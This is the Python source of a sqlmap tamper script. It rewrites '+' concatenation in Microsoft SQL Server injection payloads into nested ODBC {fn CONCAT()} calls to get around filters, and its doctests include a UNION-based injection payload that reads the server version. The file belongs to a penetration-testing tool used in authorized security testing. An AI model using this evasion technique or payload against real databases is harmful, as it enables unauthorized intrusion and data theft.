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65 lines
2.2 KiB
Python
65 lines
2.2 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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import re
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from lib.core.common import singleTimeWarnMessage
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from lib.core.common import zeroDepthSearch
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from lib.core.compat import xrange
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))
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def tamper(payload, **kwargs):
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"""
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Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart
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Tested against:
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* Microsoft SQL Server 2008
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Requirements:
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* Microsoft SQL Server 2008+
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Notes:
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* Useful in case ('+') character is filtered
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* https://msdn.microsoft.com/en-us/library/bb630290.aspx
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>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
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'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'
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>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')
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'1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe'
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"""
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retVal = payload
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if payload:
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match = re.search(r"('[^']+'|CHAR\(\d+\))\+.*(?<=\+)('[^']+'|CHAR\(\d+\))", retVal)
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if match:
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old = match.group(0)
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parts = []
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last = 0
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for index in zeroDepthSearch(old, '+'):
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parts.append(old[last:index].strip('+'))
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last = index
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parts.append(old[last:].strip('+'))
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replacement = parts[0]
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for i in xrange(1, len(parts)):
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replacement = "{fn CONCAT(%s,%s)}" % (replacement, parts[i])
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retVal = retVal.replace(old, replacement)
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return retVal
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